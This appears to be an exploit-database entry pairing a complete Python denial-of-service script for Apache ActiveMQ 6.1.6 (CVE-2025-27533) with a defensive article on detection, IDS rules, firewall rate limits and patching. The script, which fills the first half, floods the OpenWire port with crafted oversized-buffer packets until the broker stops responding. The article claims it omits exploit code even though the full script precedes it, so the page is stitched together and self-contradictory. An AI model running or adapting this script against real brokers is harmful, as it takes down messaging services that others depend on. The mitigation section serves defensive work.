Apache ActiveMQ 6.1.6 - Denial of Service (DOS)
# Exploit Title: Apache ActiveMQ 6.1.6 - Denial of Service (DOS)
# Date: 2025-05-9
# Exploit Author: [Abdualhadi khalifa (https://x.com/absholi7ly/)
# Github: https://github.com/absholi7ly/CVE-2025-27533-Exploit-for-Apache-ActiveMQ
# CVE: CVE-2025-27533
import socket
import struct
import time
import datetime
import threading
import requests
import argparse
import random
from colorama import init, Fore
from tabulate import tabulate
from tqdm import tqdm
from concurrent.futures import ThreadPoolExecutor
init()
def print_banner():
banner = f"""
{Fore.CYAN}============================================================
CVE-2025-27533 Exploit PoC - Apache ActiveMQ DoS
============================================================
{Fore.YELLOW}Developed by: absholi7ly
{Fore.CYAN}============================================================{Fore.RESET}
"""
print(banner)
def _check_server_availability(host, port, admin_port=8161, timeout=2):
"""Internal function to check server availability"""
tcp_reachable = False
admin_reachable = False
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(timeout)
sock.connect((host, port))
sock.close()
tcp_reachable = True
except (socket.timeout, ConnectionRefusedError):
pass
try:
response = requests.get(f"http://{host}:{admin_port}/admin", timeout=timeout)
admin_reachable = response.status_code == 200
except (requests.Timeout, requests.ConnectionError):
pass
return tcp_reachable, admin_reachable
def check_server_availability(host, port, admin_port=8161, timeout=2, retries=5):
for _ in range(retries):
tcp_reachable, admin_reachable = _check_server_availability(host, port, admin_port, timeout)
if not tcp_reachable:
return False, admin_reachable
time.sleep(0.5)
return True, admin_reachable
def parse_hex_or_int(value):
try:
if value.startswith('0x') or value.startswith('0X'):
return int(value, 16)
return int(value)
except ValueError:
raise ValueError(f"Invalid integer or hex value: {value}")
def create_malicious_packet(buffer_size=0x1E00000, packet_id=1):
command_type = 0x01
client_id = f"EXPLOIT-PACKET-{packet_id:04d}".encode()
version = 12
packet = bytearray()
packet += b'\x00\x00\x00\x00'
packet += struct.pack("B", command_type)
packet += struct.pack(">I", len(client_id))
packet += client_id
packet += struct.pack(">I", version)
packet += struct.pack(">I", buffer_size)
packet += bytes(random.randint(0, 255) for _ in range(50))
packet_length = len(packet) - 4
packet[0:4] = struct.pack(">I", packet_length)
return packet
def send_single_packet(host, port, packet, packet_num, total_packets, buffer_size, packet_status, stop_event):
if stop_event.is_set():
return
timestamp = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S.%f")[:-3]
tcp_reachable, admin_reachable = check_server_availability(host, port)
status = f"TCP: {'Up' if tcp_reachable else 'Down'}, Admin: {'Up' if admin_reachable else 'Down'}"
local_port = "N/A"
connection_status = "Success"
max_connect_retries = 5
for connect_attempt in range(max_connect_retries):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 1024 * 1024)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 1024 * 1024)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
try:
sock.connect((host, port))
local_port = sock.getsockname()[1]
print(f"{Fore.GREEN}[+] Connected to {host}:{port} (Packet {packet_num}/{total_packets}, Port: {local_port}, Buffer: {buffer_size // (1024*1024)} MB){Fore.RESET}")
max_retries = 3
for attempt in range(max_retries):
try:
sock.send(packet)
print(f"{Fore.CYAN}[*] Sent Packet {packet_num}/{total_packets} (Port: {local_port}, Buffer: {buffer_size // (1024*1024)} MB){Fore.RESET}")
try:
response = sock.recv(2048)
response_len = len(response)
connection_status = f"Success (Response: {response_len} bytes)"
except:
connection_status = "Success (No Response)"
break
except socket.error as e:
connection_status = f"Failed: {str(e)}"
if attempt < max_retries - 1:
print(f"{Fore.YELLOW}[-] Failed to send Packet {packet_num}/{total_packets} (Attempt {attempt+1}, Port: {local_port}): {e}. Retrying...{Fore.RESET}")
time.sleep(0.5)
continue
else:
print(f"{Fore.RED}[-] Failed to send Packet {packet_num}/{total_packets} after {max_retries} attempts: {e}{Fore.RESET}")
packet_status.append([packet_num, timestamp, status, local_port, f"Packet-{packet_num:04d}", connection_status])
break
except socket.timeout:
print(f"{Fore.RED}[-] Connection timeout for Packet {packet_num}/{total_packets} (Port: {local_port}){Fore.RESET}")
packet_status.append([packet_num, timestamp, "Connection Timeout", local_port, f"Packet-{packet_num:04d}", "Timeout"])
break
except socket.error as e:
error_str = str(e)
if "10053" in error_str:
error_type = "Connection Reset"
elif "timeout" in error_str:
error_type = "Timeout"
else:
error_type = "Other"
if "10053" in error_str and connect_attempt < max_connect_retries - 1:
print(f"{Fore.YELLOW}[-] [WinError 10053] for Packet {packet_num}/{total_packets} (Attempt {connect_attempt+1}): {e}. Retrying connection...{Fore.RESET}")
time.sleep(1)
continue
print(f"{Fore.RED}[-] Error connecting for Packet {packet_num}/{total_packets} (Port: {local_port}): {e}{Fore.RESET}")
packet_status.append([packet_num, timestamp, f"Error: {error_type}", local_port, f"Packet-{packet_num:04d}", f"Error: {error_str}"])
break
finally:
sock.close()
packet = None
def send_packets(host, port, total_packets=2000, buffer_sizes=[0x1E00000, 0x3200000]):
packet_status = []
stop_event = threading.Event()
max_threads = 2
pbar = tqdm(total=total_packets, desc="Sending Packets", unit="packet")
def monitor_server():
while not stop_event.is_set():
tcp_reachable, _ = check_server_availability(host, port)
if not tcp_reachable:
print(f"{Fore.GREEN}[+] Server TCP port {port} is down!{Fore.RESET}")
stop_event.set()
break
time.sleep(1)
monitor_thread = threading.Thread(target=monitor_server)
monitor_thread.start()
packet_num = 1
with ThreadPoolExecutor(max_workers=max_threads) as executor:
futures = []
while packet_num <= total_packets and not stop_event.is_set():
buffer_size = random.choice(buffer_sizes)
packet = create_malicious_packet(buffer_size, packet_num)
future = executor.submit(
send_single_packet,
host, port, packet, packet_num, total_packets, buffer_size, packet_status, stop_event
)
futures.append(future)
packet_num += 1
pbar.update(1)
time.sleep(random.uniform(0.3, 0.5))
if packet_num % 50 == 0:
tcp_reachable, _ = check_server_availability(host, port)
time.sleep(2)
if not tcp_reachable:
print(f"{Fore.GREEN}[+] Server TCP port {port} is down!{Fore.RESET}")
stop_event.set()
break
print(f"{Fore.MAGENTA}[*] {packet_num} packets sent,{Fore.RESET}")
pbar.close()
stop_event.set()
monitor_thread.join()
packet_status.sort(key=lambda x: x[0])
total_sent = len(packet_status)
successful = sum(1 for p in packet_status if p[5].startswith("Success"))
failed = total_sent - successful
print(f"\n{Fore.CYAN}[*] Packet Status Table:{Fore.RESET}")
print(tabulate(
packet_status,
headers=["Packet #", "Timestamp", "Server Status", "Local Port", "Packet ID", "Connection"],
tablefmt="fancy_grid",
stralign="center",
numalign="center"
))
print(f"\n{Fore.CYAN}[*] Exploit Statistics:{Fore.RESET}")
print(f" - Total Packets Sent: {total_sent}")
print(f" - Successful Packets: {successful} ({successful/total_sent*100:.2f}%)")
print(f" - Failed Packets: {failed} ({failed/total_sent*100:.2f}%)")
tcp_reachable, admin_reachable = check_server_availability(host, port)
print(f"\n{Fore.CYAN}[*] Final Server Status:{Fore.RESET}")
if not tcp_reachable:
print(f"{Fore.GREEN}[+] Exploit Successful: TCP port {port} is down!{Fore.RESET}")
else:
print(f"{Fore.YELLOW}[-] Exploit Incomplete: TCP port {port} still up.{Fore.RESET}")
return packet_status
def main():
print_banner()
parser = argparse.ArgumentParser(description="CVE-2025-27533 Exploit PoC for Apache ActiveMQ")
parser.add_argument("--host", default="127.0.0.1", help="Target IP address")
parser.add_argument("--port", type=int, default=61616, help="OpenWire port")
parser.add_argument("--total-packets", type=int, default=2000, help="Total packets to send")
parser.add_argument("--buffer-sizes", type=parse_hex_or_int, nargs='+', default=[0x1E00000, 0x3200000],
help="Buffer sizes in bytes (decimal or hex)")
args = parser.parse_args()
print(f"{Fore.CYAN}[*] Exploit Configuration:{Fore.RESET}")
print(f" - Target: {args.host}:{args.port}")
print(f" - Total Packets: {args.total_packets}")
print(f" - Buffer Sizes: {[f'{size:#x} ({size // (1024*1024)} MB)' for size in args.buffer_sizes]}")
print(f"\n{Fore.CYAN}[*] Sending malicious packets...{Fore.RESET}")
packet_status = send_packets(args.host, args.port, args.total_packets, args.buffer_sizes)
if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
print(f"{Fore.RED}[-] Program interrupted by user.{Fore.RESET}") Apache ActiveMQ 6.1.6 — Denial of Service (CVE-2025-27533): Overview, Impact, Detection & Mitigation
Summary
CVE-2025-27533 is a denial-of-service (DoS) class vulnerability reported against Apache ActiveMQ 6.1.6 that can cause the broker's OpenWire/TCP listener to become unavailable under certain malformed or oversized frames. The issue affects message availability and can cause service disruption for applications relying on the broker for messaging. This article provides a non-actionable, defensive-oriented analysis: how the vulnerability manifests at a high level, operational impact, indicators to detect exploitation attempts, and hardening and mitigation guidance to reduce risk in production environments.
Who should read this
- Platform and messaging engineers running Apache ActiveMQ (or managed ActiveMQ services).
- Security operations and incident response teams who need to detect and contain DoS attempts.
- DevOps teams responsible for patching, network controls, and broker configuration.
High-level technical summary (non-actionable)
The underlying issue involves how the broker handles certain malformed or very large transport frames via the OpenWire/TCP listener (default port 61616) and/or the admin interface (default port 8161). When the broker receives specific inputs that exceed the component’s expected buffering or framing logic, it can exhaust resources (memory, buffers, or threads) or trigger an unstable state that renders the TCP listener non-responsive. The exact trigger vectors and packet-level details are intentionally omitted here to avoid enabling misuse; focus is on detection and remediation.
Impact
- Availability: The broker may stop accepting client connections on OpenWire/TCP, causing message producers and consumers to fail.
- Operational: Applications dependent on message delivery may experience timeouts, queue build-ups, or cascading failures.
- Security posture: A remote unauthenticated actor may be able to trigger the condition over the network if network-level access to the listening ports is available.
Detection and Indicators
Detecting attempts or occurrences of this DoS vulnerability requires monitoring both broker health and network/transport behavior. Recommended indicators of suspicious activity include:
- Repeated incoming connections to the OpenWire port (61616) followed by abrupt resets.
- Large or sudden increases in memory or socket buffer usage for the broker process.
- Broker logs containing transport framing, buffer, or thread-pool errors; repeated connection or I/O exceptions.
- Frequent accept failures, “too many open files” or backlog-related errors from the OS.
- Persistent alerts from network IDS/IPS detecting anomalous or oversized TCP payloads to broker ports.
Practical detection examples
# Example: simple netstat-based check for many connections to 61616
ss -tn state established '( sport = :61616 or dport = :61616 )' | wc -l
Explanation: This one-line command counts established TCP connections to the OpenWire port (61616). A sudden spike may indicate abusive connection attempts or a flooded endpoint. It is a defensive telemetry check and does not attempt to interact with or exploit the broker.
# Example: sample Suricata/IDS rule (alert only) to flag unusually large TCP payloads to OpenWire port
alert tcp any any -> $HOME_NET 61616 (msg:"SURICATA - Large TCP payload to ActiveMQ OpenWire port"; flow:established; dsize:>20000; threshold:type limit, track by_src, count 1, seconds 60; sid:1000001; rev:1;)
Explanation: This IDS rule triggers an alert when a single TCP packet with a payload size greater than 20,000 bytes is seen to port 61616. Use conservative thresholds and tune to your baseline; the example is defensive and intended to notify operators of anomalous large frames, not to block traffic outright. Adjust dsize and threshold values to avoid false positives in your environment.
Mitigation and hardening
Mitigations can be grouped into immediate controls, configuration hardening, network-level protections, and long-term fixes (patches). Apply controls in the order that matches your operational risk tolerance: patching is best; when immediate patching is not possible, apply layered mitigations.
1) Apply vendor-supplied fixes and patches
- Check the official Apache ActiveMQ advisories and upgrade to a patched release recommended by the vendor as soon as possible.
- Verify downloaded binaries and checksums before deploying.
# Example: verify a downloaded tarball (defensive)
wget https://downloads.apache.org/activemq/activemq-x.y.z-bin.tar.gz
wget https://downloads.apache.org/activemq/KEYS
sha256sum activemq-x.y.z-bin.tar.gz
# Verify vendor-signed checksums or use GPG to verify signatures per vendor instructions
Explanation: This block shows safe, standard steps for verifying a vendor binary prior to deployment: download, compute a checksum, and verify signatures. Do not run unknown or untrusted code on production systems without verification.
2) Broker configuration limits (transport-level)
Configure transport/listener limits to cap frame sizes, timeouts, and connections per source. Exact element names and syntax may vary by ActiveMQ distribution and version — consult vendor documentation for your specific release. Example configuration (illustrative):
<transportConnectors>
<transportConnector name="openwire" uri="tcp://0.0.0.0:61616?maximumConnections=200&wireFormat.maxFrameSize=10485760&soTimeout=30000"/>
</transportConnectors>
Explanation: This is an illustrative transportConnector snippet that shows three defensive knobs: limiting total concurrent TCP connections (maximumConnections=200), constraining the maximum frame size accepted (wireFormat.maxFrameSize=10MiB), and setting a socket timeout (soTimeout). The exact attributes may differ; consult your ActiveMQ docs and test in a lab before applying to production.
3) Network-level protections
Restrict access to broker ports via firewall rules, apply connection-rate limits, and isolate brokers on management networks where possible.
# Example: iptables defensive rules (illustrative)
# Allow trusted management subnet, otherwise drop or rate-limit
iptables -A INPUT -p tcp -s 10.0.0.0/24 --dport 61616 -m conntrack --ctstate NEW -j ACCEPT
# Limit new connections per minute from a single IP to 20 (hashlimit)
iptables -A INPUT -p tcp --dport 61616 -m hashlimit --hashlimit 20/min --hashlimit-mode srcip --hashlimit-name amq_conn -j ACCEPT
iptables -A INPUT -p tcp --dport 61616 -j DROP
Explanation: These sample rules prioritize trusted subnets, then apply a per-source rate limit for new connections to the OpenWire port using iptables hashlimit. Finally, a conservative DROP is used as a fallback. Tweak CIDR blocks, thresholds, and placement to match your environment and HA design.
# Example: nftables rate limiting (illustrative)
nft add rule inet filter input tcp dport 61616 ct state new meter flood { ip saddr timeout 1m } limit rate 20/min accept
Explanation: nftables alternative that rate-limits new connection attempts per source IP. Replace thresholds with values suitable for production usage.
4) OS-level tuning and resource limits
- Raise file descriptor limits for the broker user (ulimit or systemd configuration) to avoid "too many open files" under heavy but legitimate load.
- Harden TCP stack to reduce susceptibility to resource exhaustion: tune somaxconn, tcp_max_syn_backlog, and SYN flood protections (SYN cookies) as appropriate.
# Example: systemd override to increase file descriptors for activemq
# Create /etc/systemd/system/activemq.service.d/override.conf with:
[Service]
LimitNOFILE=65536
Explanation: This change increases the maximum number of file descriptors available to the broker process launched by systemd. Apply only after validating in your staging environment.
5) Operational mitigations
- Segment the broker network so only application and management subnets can reach it.
- Enable TLS for client connections and enforce client authentication where possible to reduce exposure to unauthenticated remote abuse.
- Monitor broker metrics (connections, queue depth, message rates, memory use) and create alerts for atypical patterns.
- Rotate and harden administrative interfaces (change default ports when practical and feasible) and restrict the admin console to a management network.
Incident response and recovery
If you observe signs consistent with exploitation attempts or an actual DoS condition:
- Isolate the affected broker: restrict network access and move traffic to a healthy cluster member, if available.
- Collect forensic artifacts: broker logs, OS logs (syslog/journal), network captures (pcap) for the affected time window, and process memory/stack traces if safe to do so.
- Apply available vendor patches — if patching isn’t immediately possible, apply the network-level mitigations and configuration limits described above.
- After remediation, perform controlled restart and validation in a maintenance window and monitor closely for recurrence.
Safe testing guidance
Security teams may need to validate mitigations in a controlled lab. Never test exploit vectors on production systems or third-party networks without explicit authorization. A valid test plan should include:
- An isolated network and broker instance that mirrors production configuration.
- Monitoring and capture of broker and OS metrics before, during, and after tests.
- Automated rollback and snapshot recovery capability to restore the lab host quickly.
Long-term practices and recommendations
- Keep messaging middleware up to date and subscribe to vendor security advisories.
- Harden broker configuration with conservative defaults for resource limits and frame sizes.
- Implement least-privilege network access and authentication for all management and messaging interfaces.
- Instrument brokers with observability tooling (metrics, traces, logs) and integrate with SOC workflows for alerting and triage.
Example checklist for operators
| Action | Priority | Notes |
|---|---|---|
| Apply vendor patch or upgrade | High | Validate release notes and signatures |
| Restrict access to broker ports | High | Firewall rules, network ACLs, VPNs |
| Set transport-level frame and connection limits | High | Test config changes in staging first |
| Enable observability and IDS alerts | Medium | Tune thresholds to reduce false positives |
| Harden OS and file descriptor limits | Medium | Increase LimitNOFILE for broker user if needed |
References and further reading
- Official Apache ActiveMQ security advisories — monitor the vendor site and distribution mirrors.
- Best practices for securing message brokers (network segmentation, authentication, TLS).
- IDS/IPS and observability vendor guides to instrument TCP/transport anomalies.
Note: This article intentionally omits exploit code and packet-level reproduction details. The focus is on practical, defensive measures that administrators and security teams can apply to reduce risk, detect attempts, and recover from disruptions related to this vulnerability class.